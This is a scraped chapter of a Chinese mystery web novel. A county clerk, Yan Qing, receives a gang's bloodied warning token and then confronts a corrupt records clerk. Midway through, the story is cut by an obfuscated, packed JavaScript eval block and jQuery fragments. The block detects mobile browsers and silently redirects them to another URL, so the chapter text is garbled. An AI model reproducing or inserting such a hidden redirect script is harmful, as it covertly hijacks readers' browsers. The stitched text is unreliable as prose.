默认冷灰
24号文字
方正启体

5. 暗影随行,密信藏锋

作者:古贤颐生录本书字数:K更新时间:
    第五章暗影随行,密信藏锋


    暮色四合,青石板路被晚风吹得发凉。


    晏清拐进僻静小巷,身后那道若有若无的目光并未消散。他脚步不停,指尖攥着陆明渊给的密信,纸角被冷汗浸得发皱。


    巷子尽头是他租住的小院,院门虚掩。晏清推门而入,反手落闩,动作一气呵成。院内只种着一棵老槐树,落叶积了半尺厚,踩上去沙沙作响。他没有点灯,借着天边残月的微光,径直走向堂屋的旧木桌。


    刚把密信搁在桌上,院墙外突然传来一声轻响。


    晏清眸光一凝,侧身贴在门板后,屏息凝神。


    那声音极轻,像是瓦片被踩碎的脆响,转瞬即逝。紧接着,是一阵细碎的脚步声,渐渐远去。


    是盯梢的人走了?还是故意制造动静,警告他安分守己?


    晏清缓缓松了口气,却不敢大意。他点亮油灯,昏黄的光晕驱散了堂屋的黑暗,也照亮了桌上那封火漆封口的密信。


    火漆上没有印记,显然是陆明渊刻意为之。晏清取过一把小刀,小心翼翼地挑开火漆,抽出里面的信纸。


    信上的字迹潦草,却力透纸背,只有寥寥数语:


    黑风口劫案,押运官银的文书,需从青山县衙户房调取。户房司吏钱通,与王县令过从甚密。切记,行事隐秘,勿露锋芒。


    钱通……


    晏清将信纸反复看了三遍,指尖在“钱通”二字上轻轻摩挲。他在县衙当值月余,对这个名字并不陌生。钱通掌管户房文书,为人油滑,见谁都是一副笑脸,平日里最爱往王县令的后宅跑,县衙里的人都私下说,他是王县令的“钱袋子”。


    如此说来,官银劫案的内鬼,十有八九就是这个钱通。


    晏清正思忖着,忽然闻到一股淡淡的焦糊味。


    他心头一跳,猛地抬头,只见窗纸上不知何时,竟映出一个模糊的黑影。那黑影贴在窗棂上,一动不动,仿佛一尊沉默的石像。


    晏清没有声张,而是缓缓将信纸凑到油灯旁。火光舔舐着纸边,很快便将密信烧成了灰烬。他吹了吹炉灰,将灰烬拢在一起,撒进了旁边的水缸里。


    做完这一切,他没有立刻去取窗外的东西,反而转身走向灶房,从灶膛里摸出一把冷灰,均匀地撒在窗台边缘和院墙根的青苔上。这才慢悠悠地走到窗边,猛地掀开了窗扇。


    窗外空无一人。


    只有老槐树上,挂着一枚用黑布包裹的东西,随着晚风轻轻晃动。


    晏清伸手取下那布包,指尖隔着粗布轻轻一捏——令牌的轮廓方正厚重,边缘有一处不易察觉的缺损,触感冰凉粗糙。这特征,竟与他前日整理旧卷宗时,瞥见的一份“黑虎帮头目信物案底”描述完全吻合。


    他解开黑布,里面果然是一块沾着血渍的虎头令牌,令牌下方,压着一张纸条,上面只有四个字:适可而止。


    黑虎帮的头目级信物。


    这不是简单的警告,是赤裸裸的示威——他们不仅知道他和陆明渊的会面,更摸清了他查案的脉络,甚至连他翻阅旧卷宗的举动,都在监视之下。


    晏清捏着那枚虎头令牌,指节泛白。令牌上的虎头雕刻得狰狞凶狠,血渍早已干涸,却透着一股令人心悸的戾气。


    他忽然想起周仵作那日的提醒——“衙门里最近少走动”。原来,黑虎帮的触手,早已伸进了青山县衙,甚至伸到了他的身边。


    夜色渐深,风更凉了。


    晏清将虎头令牌和纸条一并扔进油灯,看着它们在火光中化为灰烬。他站在窗前,望着院墙外沉沉的夜色,眼神锐利如鹰。


    黑虎帮的警告,非但没有让他退缩,反而激起了他骨子里的韧劲。他本就不是贪生怕死之辈,更何况,那些枉死的官差,那些被欺压的百姓,都在等着一个公道。


    次日清晨,天


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153637|196482||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    刚蒙蒙亮,晏清便换上了一身洗得发白的青衫,往县衙走去。


    他没有直接去刑房,而是绕了个弯,走向户房所在的偏院。


    户房里,钱通正翘着二郎腿,坐在太师椅上喝茶,嘴里哼着小曲,一副悠然自得的模样。见晏清进来,他连忙放下茶杯,堆起满脸的笑:“晏师爷,今日怎的有空来我这户房串门?”


    晏清回以一笑,语气平和:“钱司吏客气了。昨夜整理旧卷,发现有一份关于黑风口的地契记录遗漏了,特来调取文书核对一二。”


    钱通脸上的笑容像张劣质的面具,瞬间僵住,眼底闪过一丝慌乱,却很快掩饰过去:“黑风口的地契?晏师爷怕是记错了吧?那地方鸟不拉屎,您怕是……听了什么不干净的闲话吧?”


    “闲话?”晏清向前一步,目光越过他的肩膀,直直落在文书架最底层的木匣上,语气平淡得像在讨论天气,“我听的,都是记录在册、有据可查的‘官话’。比如,元和六年,黑风口三户山民的田税减免文书,可是钱司吏您亲手批的。既无地契,何来田产?既无田产,这税……又是免给谁看的?”


    钱通瞳孔骤缩,手里的茶杯“哐当”一声歪倒,滚烫的茶水漫了一桌,溅湿了他的官靴。他慌忙起身擦抹,指尖却抖得厉害。


    晏清看着他慌乱的模样,唇角微勾,正要伸手去拿那木匣,门外忽然传来一阵急促的脚步声。


    王县令的长随匆匆跑了进来,脸色发白:“钱司吏!不好了!老爷让你立刻去他的书房,说、说有要事相商!”


    钱通闻言,如蒙大赦,连擦手的布巾都顾不上放下,连忙站起身:“好、好!我这就去!”他临走前,深深看了晏清一眼,那眼神里,带着一丝怨毒,更带着一丝不易察觉的警告。


    晏清看着钱通仓皇离去的背影,又望向那个被他死死盯着的木匣,眸色深沉。


    看来,这场较量,才刚刚开始。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)